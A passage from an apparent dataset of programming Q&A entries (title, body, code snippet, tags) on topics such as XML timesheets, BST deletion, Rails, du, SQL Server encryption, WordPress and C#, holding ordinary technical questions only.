<RegularHours>10</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>120 sigma dr</Notes>\n
</TimeDetail>\n </Thursday>\n <Friday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>999935</WorkOrderNumber>\n
<RegularHours>Regular</RegularHours>\n <OverTimeHours>8</OverTimeHours>\
n <OtherHours>Other</OtherHours>\n <PerDiem>NO</PerDiem>\n
<Notes>St light job Progress to pay half time</Notes>\n </TimeDetail>\n
</Friday>\n <Saturday></Saturday>\n <Sunday></Sunday>\n</TeamMember>\
n<TeamMember>\n <EmployeeNumber>606060</EmployeeNumber>\n <EmployeeName>Does,
Stephen</EmployeeName>\n <EmployeeClass>EO</EmployeeClass>\n <Monday>\n
<TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>safety
meeting</WorkOrderNumber>\n <RegularHours>.5</RegularHours>\n
<OverTimeHours>Over Time</OverTimeHours>\n
<OtherHours>Other</OtherHours>\n <PerDiem>NO</PerDiem>\n
<Notes>Safety meeting</Notes>\n </TimeDetail>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>rain time</WorkOrderNumber>\n
<RegularHours>2</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Rain time</Notes>\n </TimeDetail>\
n <TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>777091</WorkOrderNumber>\n
<RegularHours>7.5</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Monday>\n <Tuesday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>safety meeting</WorkOrderNumber>\n
<RegularHours>.5</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Safety meeting</Notes>\n
</TimeDetail>\n <TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>777091</WorkOrderNumber>\n
<RegularHours>9.5</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Tuesday>\n <Wednesday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>5555591</WorkOrderNumber>\n
<RegularHours>10</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Wednesday>\n <Thursday></Thursday>\n <Friday></Friday>\n
<Saturday></Saturday>\n <Sunday></Sunday>\n</TeamMember>\n<TeamMember>\n
<EmployeeNumber>707070</EmployeeNumber>\n <EmployeeName>Hancock,
Samuel</EmployeeName>\n <EmployeeClass>EO</EmployeeClass>\n
<Monday></Monday>\n <Tuesday></Tuesday>\n <Wednesday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>5555591</WorkOrderNumber>\n
<RegularHours>10</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>Capital blvd st lights</Notes>\n
</TimeDetail>\n </Wednesday>\n <Thursday></Thursday>\n <Friday></Friday>\n
<Saturday></Saturday>\n <Sunday></Sunday>\n</TeamMember>\n<TeamMember>\n
<EmployeeNumber>808080</EmployeeNumber>\n <EmployeeName>Franklin,
Ben</EmployeeName>\n <EmployeeClass>EO</EmployeeClass>\n <Monday></Monday>\n
<Tuesday></Tuesday>\n <Wednesday></Wednesday>\n <Thursday>\n
<TimeDetail>\n <StartTime>Start</StartTime>\n
<StopTime>Stop</StopTime>\n <WorkOrderNumber>111122</WorkOrderNumber>\n
<RegularHours>10</RegularHours>\n <OverTimeHours>Over
Time</OverTimeHours>\n <OtherHours>Other</OtherHours>\n
<PerDiem>NO</PerDiem>\n <Notes>120 sigma dr</Notes>\n
</TimeDetail>\n </Thursday>\n <Friday></Friday>\n <Saturday></Saturday>\n
<Sunday></Sunday>\n</TeamMember>\n<TeamMember>\n
<EmployeeNumber>909090</EmployeeNumber>\n <EmployeeName>Doess,
Smith</EmployeeName>\n <EmployeeClass>UCL</EmployeeClass>\n
<Monday></Monday>\n <Tuesday></Tuesday>\n <Wednesday></Wednesday>\n
<Thursday></Thursday>\n <Friday>\n <TimeDetail>\n
<StartTime>Start</StartTime>\n <StopTime>Stop</StopTime>\n
<WorkOrderNumber>999935</WorkOrderNumber>\n
<RegularHours>4</RegularHours>\n <OverTimeHours>4</OverTimeHours>\n
<OtherHours>Other</OtherHours>\n <PerDiem>NO</PerDiem>\n
<Notes>St light job Progress to pay half time</Notes>\n </TimeDetail>\n
</Friday>\n <Saturday></Saturday>\n <Sunday></Sunday>\n</TeamMember>\n", "xml
xslt xslt-1.0"], "5058848": ["deleting node from a binary search tree", "I am
trying to create a function to delete a node from a binary search tree. I got the
third case with node having 2 children working, but my code doesn't work it the
node has 1 or no children.\nHere is the code I copied directly from the book. Is
this code I got from the book wrong?\n\n", "template <class elemType>\nvoid
bSearchTreeType<elemType>::deleteFromTree\n(nodeType<elemType>* &p)\n{\
nnodeType<elemType> *current; //pointer to traverse the tree\nnodeType<elemType>
*trailCurrent; //pointer behind current\nnodeType<elemType> *temp; //pointer to
delete the node\nif (p == NULL)\ncout << \"Error: The node to be deleted is
NULL.\"\n<< endl;\nelse if (p->lLink == NULL && p->rLink == NULL)\n{\ntemp = p;\np
= NULL;\ndelete temp;\n}\nelse if (p->lLink == NULL)\n{\ntemp = p;\np = temp-
>rLink;\ndelete temp;\n}\nelse if (p->rLink == NULL)\n{\ntemp = p;\np = temp-
>lLink;\ndelete temp;\n}\n", "search delete tree binary remove"], "604394": ["Rails
(3.2.7): override image_tag for asset_host", "development.rb:\n\nview script:\n\
nyields:\n\nshould be:\n\nI am using the gem which I am guessing disables some
asset and view rendering stuff.\nIt seems like it should not be too hard to re-
implement (override ) to add this very small feature. It may
seem a little odd to want to do this. However, I am new-ish to rails would like to
know how to do this as a learning experience.\nQuestions:\n\nAs a best practice
where should I place this new code in the file structure?\nWhat should I name the
file with the new code?\nHow does rails know to look at the new code instead of
looking at the old image_tag function?\n\n", "config.action_controller.asset_host =
\"assets.myserver.com\"", "ruby-on-rails-3 override asset-pipeline rails-api"],
"3468523": ["IE8 Footer Issue", "Why is my footer not displaying full page\n width
in IE8:\nDisplay:\nhttp://cl.ly/0J2Z0l1w3S1e0A3d3Q1V\nHTML:\n\n\n", "<footer>\
ncontent\n</footer\n", "html css internet-explorer"], "5615057": ["ClickOnce
Deployment Location Web", "Is there a way to change the location where ClickOnce
automatically installs a program from a web server? I need to have it place an Icon
on the desktop automatically. \nThanks!\n", "", "c# deployment clickonce web-
deployment"], "396285": ["Highlight the pre selected spinner item", "Say I have 10
items in the spinner list.\nAnd item number 3 is already selected. Now the thing is
when user wants to change his selection, I want to give some kind of indication
that this(item number 3) which is already selected item. I want to achieve this
via a Check-mark or setting some kind of background or in similar ways.\nCan
anybody please help me with this issue?\n", "", "android spinner"], "4467486":
["Using --exclude with the du command", "This is probably something basic but I'm
not able to make it work. I'm trying to use DU to get a total size of files minus
certain directories. I need to exclude one specific directory called but not every
directory called . For example, my file structure looks a bit like this:\n\nI can
run the following command: \n\nand it gives me the file size minus all
the \"uploads\" directories. However, in trying to exclude certain directories (and
all its sub-directories) I fail. I've tried variations of:\n\nbut can't seem to
figure it out. How do I exclude a specific directory?\n", "uploads", "command-line
disk-usage"], "104812": ["Windows 7 Re-imaging", "I created a system image via the
built-in tools for Windows 7 and stored that image on an external drive. In trying
to use the System Repair disc I also created from 7 (albeit at a different time) to
restore the image to the same box, it is telling me it can't find the image. The
odd part with this is if I click \"Advanced\" on the \"Re-image your computer\"
dialog and then \"Install a driver\" on the prompt, I can see the external disk as
an option to select the driver from (implying Windows sees the disk the image is
on). Further, when I navigate into the \"WindowsImageBackup\" folder I've confirmed
I can get to where the image is without any problems which confirms it isn't a
permissions issue.\nAny tips on how to do this restore? The box in question
currently has the Windows 8 CP installed on it and I'm just trying to revert back
to my previous Windows 7 install temporarily.\n", "", "windows-7 backup windows-7-
backup"], "5260157": ["CLR Assembly for Encryption/Decryption", "We recently
implemented some symmetric keys in MS SQL 2005 for encrypting and decrypting credit
card, check routing/account numbers.\nIdeally, we would like a user defined
function to be able to perform the encryption and decryption, however, its not
possible since the encryptbykey and decryptbykey functions cannot be used within
user defined functions.\nInitially I thought we could create a CLR Assembly (in C#)
with functions to do this, however, as I learned the same rules apply.\nI was
wondering what others have been doing to easily perform this functionality.
Creating many stored procedures such as:\nOPEN SYMMETRIC KEY...\nSELECT username,
decryptByKey(...) AS password\nCLOSE SYMMETRIC KEY...\n... for the many areas in
which we will encrypt/decrypt would be very tedious.\n", "", "c# sql-server
encryption assemblies clr"], "848439": ["generate a random password. Button into a
textbox", "I have a form for adding a new username and password to a site. I'm
trying to add a button which generates a 12character password and puts it into the
password text box. Everytime this button is pressed it should delete the password
in already and add in another 12 char password. \nThis is my layout:
\nhttp://snag.gy/L4woo.jpg\nHere is how my form: \n\nMy usernames and password
validate through a separate JavaScript function using standard regex\nAnd here is
my 12character generate password function:\n\nI have no idea how to click on this
button to apply this function to the required textbox. hope you can help. thanks\
n", "<form method=\"post\" action=\"addNewLogin.php\" name=\"addUserLoginForm\"
id=\"addUserLoginForm\" onsubmit= \"return validateNewLoginForm()\" >\n <input
type=\"hidden\" name=\"submitAttempt\" value=\"true\"/>\n <table
style=\"background-color: White; padding:20px;\" align=\"center\">\n
<tr>\n <td style=\"width:180px;\">\n <label
style=\"margin-left:400px;\">Username</label>\n </td>\n
<td style=\"width:420px;\">\n <input
name=\"username\" type=\"text\" style=\"width:140px;\" onchange= \"return
usernameValidation(this)\" />\n </td> \n </tr>\n
<tr>\n <td>\n <label style=\"margin-
left:400px;\">Password</label>\n </td>\n
<td>\n <input name=\"password\" type=\"password\"
style=\"width:140px;\" onchange= \"return passwordValidation(this)\"/>\n
</td>\n <td style=\"margin-right: 200px;\">\n
<button type=\"password\" type= \"text\" onclick=\"return generateKey()\">Generate
Password!</button>\n </td>\n </tr>\n
</table>\n<div align=\"center\"><input type=\"submit\" value=\"Add Login Details
For New User\" /></div>\n</form>\n", "php html forms login passwords"], "3519730":
["Is there any way to make an existing type implement an interface?", "Let's say I
write a really kick-ass interface. So kick-ass, in fact, that I'd like some of the
builtin types I use to implement them, so that whatever code I write that uses this
interface can also use the builtin types.\n\nI've wanted this many times for many
reasons. The most recent is that I've implemented radix sort for \"uint\", but have
also created a simple \"IRadixSortable\" interface that requires the
property \"uint RadixKey { get }\". This means that I've basically duplicated the
sorting code: once for uint arrays, the other for IRadixSortable arrays. I'd rather
just write one by making the uint type implement IRadixSortable. Is there some way
to do this... maybe using reflection?\nHaskell can do this (i.e. typeclasses can be
instantiated on any data type at any time,) and I think that's one very important
reason why it's so powerful. C# could really use this feature. Maybe call
it \"extension interfaces\" :)\n", "public interface IKickAss\n{\n int
Yeahhhhhhh() { get; }\n}\n\npublic static class Woot\n{\n public int
Bar(IKickAss a, IKickAss b)\n {\n return a.Yeahhhhhhh - b.Yeahhhhhhh;\n
}\n}\n\n// What I'd like to do, sort of.\npublic partial struct Int32 : IKickAss\
n{\n public int Yeahhhhhhh\n {\n get\n {\n return
this;\n }\n }\n}\n", "c# interface"], "6010527": ["Steps to debug on a
blank screened wordpress install", "I've been given an old Wordpress installation
to setup on a new server. After setting wp-config.php and the values for the URLs
in the db, wp_options.siteurl and wp_options.home (the usual process I do for
something like this) I just get a blank screen on Safari, on Chrome I get \n\nThe
website encountered an error while retrieving\n http://domain.name/. It may be
down for maintenance or configured\n incorrectly.\n\nI can access
http://domain.name/wp-admin and the initial login splash page loads. But hitting
sign in causes a similar error to what happens when accessing the front page.\
nThere seems to be a lot of plugins installed for this setup. Wondering what the
best steps would be to find out what the root of this problem would be.\nI've tried
setting debug on in the config by doing this, but it accomplishes nothing. I think
something is telling the site to redirect somewhere near the beginning of
everything:\n\n", "if ( isset($_GET['debug']) && $_GET['debug'] == 'debug')
define('WP_DEBUG', true);\n", "installation configuration white-screen-of-death"],
"5145755": ["Trying to understand how the metric is formed from basis vectors", "In
the line element\n$ds=\\frac{\\partial s}{\\partial x^1} dx^1+\\frac{\\partial s}
{\\partial x^2} dx^2$\n(superscripts are indices, not powers)\nthe basis vectors
are defined as $e_1=\\frac{\\partial s}{\\partial x^1}$ and $e_2=\\frac{\\partial
s}{\\partial x^2}$ \nThe metric is then said to be obtained by multiplying these
basis vectors together in each of their possible combinations. In this case there
are two basis vectors so there will be four elements in the metric:\
n$e_1e_1=g_{11}$\n$e_1e_2=g_{12}$\n$e_2e_1=g_{21}$\n$e_2e_2=g_{22}$\n$\\implies
g=\\begin{bmatrix}\ng_{11} &g_{12} \\\\ \n g_{21}& g_{22}\n\\end{bmatrix} = \\
begin{bmatrix}\n(e_1)^2 & e_1e_2 \\\\ \n e_1e_2& (e_2)^2\n\\end{bmatrix}$\nThis
much I follow. Now, as I understand it, the metric is a diagonal matrix. Take the
Euclidian metric for eg.\n$\\begin{bmatrix}\n1 & 0 \\\\ \n 0 & 1\n\\end{bmatrix}$\
nSo in what way does $e_1e_2$ equal $0$?\n", "", "multivariable-calculus metric-
spaces linear-algebra"], "3968761": ["Php preg_match help", "I am trying to find a
php preg_match that can match\ntest1 test2[...] but not test1 test2 [...]\nand
return test2(...) as the output as $match.\nI tried \n\nBut it matches both cases
and return the full sentence. \nAny help appreciated.\n", "preg_match('/^[a-zA-Z0-
9][\\[](.*)[\\]]$/i',\"test1 test2[...]\", $matches);\n", "php preg-match"],
"3240273": ["Why can't this macro execute?", "I have the following dumb test:\n\
nWhy can't this work? (The error shows in DrRacket is . \nHowever, The following
can work:\n\nThen WHY?\n", "(define-syntax a\n (lambda (stx)\n (syntax-case stx
()\n [(k e s) #'(let ((show display)) (e s))])))\n(a show \"something\")\n",
"scheme racket"], "839719": ["fancy verbatim - bold letters for the first 4
columns", "I am writing a book on Python and IPython. I want to insert in this book
code listings of Python and IPython. \nFor the code itself I have no problem
customizing listings for my intents. \nIncluding code from IPython is a bit more
tricky. I would like to make the and of IPython in bold. For that I used so far
the package , like that:\n\nHowever it's a bit annoying to type the everytime for
all the 's and 's. \nCan some one point a way in which I can define that first X
columns in a verbatim environment are made in bold ?\nI also tried with listings
that:\n\nbut only the words In and Out are made in Bold not the number and the
brackets ...\nMaybe I am asking the wrong question also ?\nAny insights on that
will be welcomed ...\n", "In [x]:", "listings verbatim bold"], "5646275": ["C#
float infinite loop", "The following code in C# (.Net 3.5 SP1) is an infinite loop
on my machine:\n\nIt reached the number 16777216.0 and 16777216.0 + 1 is evaluates
to 16777216.0. Yet at this point: i + 1 != i.\nThis is some craziness.\nI realize
there is some inaccuracy in how floating point numbers are stored. And I've read
that whole numbers greater 2^24 than cannot be properly stored as a float.\nStill
the code above, should be valid in C# even if the number cannot be properly
represented.\nWhy does it not work?\nYou can get the same to happen for double but
it takes a very long time. 9007199254740992.0 is the limit for double.\n", "for
(float i = 0; i < float.MaxValue; i++) ;\n", "c# .net loops floating-point
double"], "4131372": ["LCD problems: brightness / contrast blown out, can't bring
up menu", "Yesterday, when I turned on my LCD monitor, the colors were very very
bright. It looks as if someone had gone into the monitor on-screen-display and
turned up brightness & contrast all the way to the max. Colors were washed out, and
it's almost painful to look at. So I tried to go into the menu and see if the
settings were wrong somehow...and I found that I cannot bring up the menu. All the
buttons on the front of the monitor now do nothing, except the power button.\nI was
able to go into my graphics card settings, and turn the brightness way down to
compensate, so it's at least usable for now, but it's not quite right, there is
definitely some loss of color resolution or something from the two extreme settings
canceling each other out.\nAny ideas what kind of failure in the LCD might cause
this?\nAccording to the control panel, the model number is: KL2490DW-D\nIt's a 24\"
1920x1200 with the brand \"synaps\".\n", "", "graphics-card colors lcd
brightness"], "321395": ["Weblogic giving license error for only one managed
server", "Hi i am running weblogic 8.1 on a unix server. I currently had 4 managed
servers running fine and started two more today. Unfortunately people started
getting denied with a \"The server is not licensed for this operation.connect
rejected, the server license allows connections from only 5 unique IP addresses.
When i check my license.bea file it appears to be for only a developer license,
which would make sense. The part I'm confused on is why my other 4 managed servers
never receive this message. Don't they all use the same license file? They are
all in the same directory?\n", "", "weblogic"], "2407244": ["Offering same instance
of a jsp page to 2 clients", "I have a jsp page in folder named . This page
displays an applet which is in the same folder. This applet code is a 2-player tic-
tac-toe game. So, what I want is to give the same instance of the page to the first
2 players who visit , so that they can play against each other. Third and fourth
players should be given a new instance and so on. But what happens by default is,
when I try to open another tab, the first tab freezes and I get an in the second
tab(Weird right? It's happening in the applet code because I'm not handling threads
here) I'm not sure if has something to do with this. . Kindly help me out\n",
"Tomcat 7.0\\webapps\\Test", "jsp tomcat applet thread-safety"], "4545319":
["Errors when migrating from codeigniter 1.7 to 2.1", "I am developing a few pages
in codeigniter 1.7 and when I change to version 2.1 my code will show me this error
message:\n\nUnable to load the requested file: helpers/translate_helper.php\n\n",
"", "codeigniter codeigniter-2 codeigniter-form-helper"], "4764633": ["Wrong page
numbering style and chapter title", "I have just finished my thesis, which is ready
for defence and print!\nIt consists of tex subfiles which are added to a main file.
The thesis is written in Greek. I used for the first chapters(abstract in Greek
and English, aknowledgements in Greek and English, Contents). The problem is that
the page numbering illustrated in table of contents uses \"greek\" roman style
instead of real roman(please see attached image, red color). However in the real
document, page numbering is correct.\nThe second problem is that files in roman
numbering(abstractGR, abstractEN, aknowledgementsGR, aknowledgementsEN) inherit toc
chapter heading(green round box in image). How can this be fixed? I made a try by
using\n\nor\n\nbut it didn't work. In the first case I got an for chapter name and
in the second case a .\n\nBecause of the subfiles I am giving you a link to a
folder that contains files and images. The main file is .\nlink to .tex files\nI
am just adding the main file's code in case there is something obviously wrong.\n\
nIt's not a working example, however an experienced user could see my mistake,
hopefully.\n", "roman numbering", "table-of-contents header-footer page-numbering
chapters"], "3968762": ["EditText field that remembers previous entries?", "I want
to create an EditText field that remembers what was last entered. The text field
will be used for server names so if a user first enters server.windows.com when
they next go to the field and type \"s\" it would then suggest server.windows.com
as a choice.\nWould this require a database?\nThanks\n", "", "android edittext
suggestions"], "5192650": ["Goto jsp page in NetBeans", "I work with Spring
framework and have a lot of lines in .java:\n\nnew
ModelAndView(\"/reports/distribution\", map);\n\nand in dispatcher-servlet.xml:\n\
n<bean id=\"viewResolver\"
class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n
<property name=\"prefix\" value=\"/WEB-INF/jsp/\" />\n <property name=\"suffix\"
value=\".jsp\" />\n <property name=\"viewClass\"
value=\"org.springframework.web.servlet.view.JstlView\" />\n</bean>\n\nI think that
this info is enough for goto file PROJ-ROOT/src/main/jsp/reports/distribution.jsp
from java code.\nIs there any standard command or extension for NetBeans with
implementation of such command?\n", "", "spring jsp netbeans ide"], "1083450":
["Global Descriptor Table", "I've been reading Intel manual about Virtual Memory
(Segmentation + Paging). As I understand there is special register that holds
Global Descriptor Table (GDT). GDT contains NULL Descriptor, Local Descriptor
Table, TSS, and Segment Descriptor. Also almost all Operating Systems (OS) has one
GDT and that gets loaded during boot time and cannot be changed (Maybe!!!). My
questions are:\n\nWhere all of those information stored (NULL, LDT, TSS, and
Segment Descriptor)? Are they in Physical Memory, RAM or Local Hard Drive?\nAre
Segment Descriptors the same as Code Segment (ASM: CS), Data Segment (ASM: DS), ...
and if so how many of those are stored in GDT (Is\n there only one CS, one
DS, ...)?\nDoes Protable Executable (PE) Loader manipulate any of these
information?\n\nI did some search in Stackoverflow and Google but no luck (Or I
might of missed something :-)).\nThank you.\n", "", "windows operating-system x86
intel"], "889070": ["AS3 - evaluating at runtime - D.eval vs hurlant", "I need to
pass in a string that gets evaluated at runtime. So I can write this:\n\ninstead
of:\n\nDoes anyone have an opinion on the following evaluate libraries, or better
ones for AS3? Thanks:\nAS3 eval by hurlant:\nhttp://eval.hurlant.com/\nD.eval by
RIA 1:\nhttp://www.riaone.com/products/deval/\n", "var foo = someEvalMethod
( \"dataObject.someValue\" )\n", "actionscript-3 eval"], "4247234": ["How to use
Hadoop to process video data", "Now I have some Big Video Data. I want to decode
the video data in using . \nWhat the lib for decoding I want to use is . But the
function can only read the local file, not on . \nSo if I want to decode the video
data, I should initialize the . Now I can't get this . How can I read the header of
video file and initialize . And read the video data byte by byte and decode them at
last?\n", "hadoop", "video hadoop"], "4076223": ["Customize wp-caption output",
"I'd like to customize the output for the wp-caption shortcode. I need to put the
attachment full-size URL \n\nAs you can see, I pretend to automatically include an
tag with necessary attributes for Fancybox. In my desesperation I tried another
approach with jQuery:\n\nThis gets the src for the image and adds it to the href
for the parent . But I need to get the original or large image size.\n",
"wp_get_attachment_image_src($post->ID, 'full')", "functions jquery shortcode"],
"3291839": ["How do I reset the Admin password on Windows XP?", "I
am trying to reset the password from the command line using but it's giving me a
error!!!\nHow do I go about resetting the Windows XP admin password if I've
forgotten it?\nHelp will be highly appreciated.\n", "net user admin *", "windows-xp
password administrator password-recovery password-reset"], "5356445": ["Sending
Metadata using Smaxe's JUV RTMP Client (Java)", "I am trying to send Metadata using
the JUV RTMP Client from Smaxe (link). I know that Adobe has (link), and JUV RTMP
Client has a similar method as well (link), but I can't figure how to work the JUV
version since it has a different parameter count.\nAdvice on sending Metadata using
this tool?\n", "Netstream.send()", "java adobe metadata rtmp fms"], "104811": ["Can
someone explain this code step by step?", "I sort of understand what it's doing,
but what is the logic behind the steps in the code provided below? It's a way of
loading a texture in LWJGL. But what is happening in the for loop? Wouldn't you
just multiply x and y to get the location of a pixel? Any explanation of whats
going on from the for loop to the end of the code would be helpful, as the comments
are vary vague when it gets to the for loop. I don't understand the weird symbols
when putting pixel info into the buffers.\n\n} \n", "public class TextureLoader { \
nprivate static final int BYTES_PER_PIXEL = 4;//3 for RGB, 4 for RGBA \n public
static int loadTexture(BufferedImage image){ \n\n int[] pixels = new
int[image.getWidth() * image.getHeight()]; \n image.getRGB(0, 0,
image.getWidth(), image.getHeight(), pixels, 0, image.getWidth()); \n\n
ByteBuffer buffer = BufferUtils.createByteBuffer(image.getWidth() *
image.getHeight() * BYTES_PER_PIXEL); //4 for RGBA, 3 for RGB \n\n for(int y
= 0; y < image.getHeight(); y++){ \n for(int x = 0; x <
image.getWidth(); x++){ \n int pixel = pixels[y * image.getWidth() +
x]; \n buffer.put((byte) ((pixel >> 16) & 0xFF)); // Red
component \n buffer.put((byte) ((pixel >> 8) & 0xFF)); // Green
component \n buffer.put((byte) (pixel & 0xFF)); //
Blue component \n buffer.put((byte) ((pixel >> 24) & 0xFF)); //
Alpha component. Only for RGBA \n } \n } \n\n
buffer.flip(); //FOR THE LOVE OF GOD DO NOT FORGET THIS \n\n // You now have
a ByteBuffer filled with the color data of each pixel. \n // Now just create
a texture ID and bind it. Then you can load it using \n // whatever OpenGL
method you want, for example: \n\n int textureID = glGenTextures(); //Generate
texture ID \n glBindTexture(GL_TEXTURE_2D, textureID); //Bind texture ID \n\
n //Setup wrap mode \n glTexParameteri(GL_TEXTURE_2D,
GL_TEXTURE_WRAP_S, GL12.GL_CLAMP_TO_EDGE); \n glTexParameteri(GL_TEXTURE_2D,
GL_TEXTURE_WRAP_T, GL12.GL_CLAMP_TO_EDGE); \n\n //Setup texture scaling
filtering \n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER,
GL_NEAREST); \n glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER,
GL_NEAREST); \n\n //Send texel data to OpenGL \n
glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA8, image.getWidth(), image.getHeight(), 0,
GL_RGBA, GL_UNSIGNED_BYTE, buffer); \n\n //Return the texture ID so we can
bind it later again \n return textureID; \n } \n\n public static
BufferedImage loadImage(String loc) \n { \n try { \n return
ImageIO.read(DefenseStep.class.getResource(loc)); \n } catch (IOException e)
{ \n //Error Handling Here \n } \n return null; \n } \n",
"java 2d textures symbols"], "2458874": ["how to store iphone app's data even if it
is uninstalled", "I have an app that has some consumable items, after they are
used, user can do in-app purchase to get more.\nHow can avoid the user to unistall
the app and reinstall so he doesn't have to pay?\nCan i save some data that is
going to remian regardless of if he unistalls it?\nShould i have the app store in a
database the udid of each device that it is installed in and when launched check
that?\nThanks!\n", "", "iphone"], "5908764": ["Consuming SOAP Web service in sencha
touch application", "I have to consume a SOAP web service using sencha touch.\nCan
anybody help me\nCan I use JSONP proxy to consume soap web service How ??\nPlease
give some sample code or references.\nThanks in Advance\n", "", "soap sencha-touch
sencha jsonp sencha-touch-2"], "706304": ["I have a problem building an array
of \"*\" in C++", "I have a program that contains the following piece of code for
constructing an array of asterisks:\n\nWhen I attempt to compile the program, I
receive the following output:\n\nThe 'char*' part of the output lead me to do some
reading on pointers, and while I understand the basic principle of them, actually
implementing them is proving somewhat difficult (and I guess that's the difference
between reading about something and doing it).\nIf someone could tell me where I'm
going wrong in this code so I could use it as a worked example, it would go a long
way to helping me understand the use of pointers.\n", "char array[Length][Height];\
n\nfor (int count1 = 1; count1 <= Length; count1++)\n{\n for (int count2 = 1;
count2 <= Height; count2++)\n {\n strcpy(array[count2][count3], \"*\");\n
cout << array[count2][count3];\n }\n}\ncout << endl;\n", "c++ arrays homework"],
"2786720": ["Entity Framework 4.3 and Moq can't create DbContext mock", "The
following test that was working with EF 4.2 now throws the next exception with EF
4.3\n\nSystem.ArgumentException : Type to mock must be an interface or an\n
abstract or non-sealed class. ----> System.TypeLoadException :\n Method
'CallValidateEntity' on type 'Castle.Proxies.DbContext43Proxy'\n from assembly
'DynamicProxyGenAssembly2, Version=0.0.0.0,\n Culture=neutral,
PublicKeyToken=null' is overriding a method that is\n not visible from that
assembly.\n\n\nWhat should I do? Create an interface for my DbContext43?\nIs this a
breaking change between 4.2 and 4.3?\nThanks!!\n", "[Test]\npublic void
CanCreateMoqTest()\n{\n // Arrange\n Mock<DbContext43> mock;\n\n // Act\n
mock = new Mock<DbContext43>();\n\n // Assert\n Assert.NotNull(mock.Object);\
n}\n\npublic class DbContext43:DbContext\n{\n}\n", "c# entity-framework testing
moq"], "1425195": ["jQuery getting element relative position", "I have the
following markup:\n\nI need to create a function that will get the relative
position of any span (nested or not) to the main parent - #selectable1.\nI have
tried to use position() but my code does not work:\n\nAny tips?\nThanx\n", "<div
id=\"selectable1\">\n<span class=\"drag\">Some Text</span>\n<span
class=\"drag\">Some Text</span>\n<span class=\"drag\">Some Text and <span
class=\"drag\">Some Other Text</span></span>\n</div>\n", "jquery position"],
"5810636": ["Giving color to the title in tableView in iphone", "I am new to iPhone
development. I want to change the colour of the title to brown. In default it is in
gray colour. To display the title I am using the following method:\n\nI want to
change the title backgound colour.\nplease help me out.\nThanks.\n", "- (NSString
*)tableView:(UITableView *)tableView titleForHeaderInSection:(NSInteger)section\n{\
n return @\"Title\";\n}\n", "iphone uitableview title background-color"],
"412693": ["Redmine: error in user profile view [mysql]", "I've recently migrated
from Trav 0.12 to Redmine 1.4.0.\nAfter migrating data from Rrac to Redmine I get
this error: \n\nI am new to ruby, can anyone help me?\nNote: here is very similar
problem described. In my case I use MySQL database instead.\n", "Processing
UsersController#show (for xx.xxx.xx.xxx at 2012-04-16 12:45:36) [GET]\n\n\
nParameters: {\"id\"=>\"4\", \"action\"=>\"show\", \"controller\"=>\"users\"}\n\
nNoMethodError (undefined method `<=>' for nil:NilClass):\n
lib/redmine/activity/fetcher.rb:80:in `events'\n
lib/redmine/activity/fetcher.rb:80:in `sort!'\n
lib/redmine/activity/fetcher.rb:80:in `events'\n
app/controllers/users_controller.rb:68:in `show'\n thin (1.3.1)
lib/thin/connection.rb:80:in `pre_process'\n thin (1.3.1)
lib/thin/connection.rb:78:in `catch'\n thin (1.3.1) lib/thin/connection.rb:78:in
`pre_process'\n thin (1.3.1) lib/thin/connection.rb:53:in `process'\n thin
(1.3.1) lib/thin/connection.rb:38:in `receive_data'\n eventmachine (0.12.10)
lib/eventmachine.rb:256:in `run_machine'\n eventmachine (0.12.10)
lib/eventmachine.rb:256:in `run'\n thin (1.3.1) lib/thin/backends/base.rb:61:in
`start'\n thin (1.3.1) lib/thin/server.rb:159:in `start'\n thin (1.3.1)
lib/thin/controllers/controller.rb:86:in `start'\n thin (1.3.1)
lib/thin/runner.rb:185:in `send'\n thin (1.3.1) lib/thin/runner.rb:185:in
`run_command'\n thin (1.3.1) lib/thin/runner.rb:151:in `run!'\n thin (1.3.1)
bin/thin:6\n /usr/bin/thin:23:in `load'\n /usr/bin/thin:23\n\nRendering
/mnt/storage/redmine/public/500.html (500 Internal Server Error)\n", "ruby
redmine"], "4207819": ["Method to raise windows service automatically", "Good
morning everyone,\nI'm new to C # and already have a challenge ahead. I have never
programmed professionally, and I have a dilemma concerning the services of C#.\nWe
have a service and I was wondering if there is any method to do the job
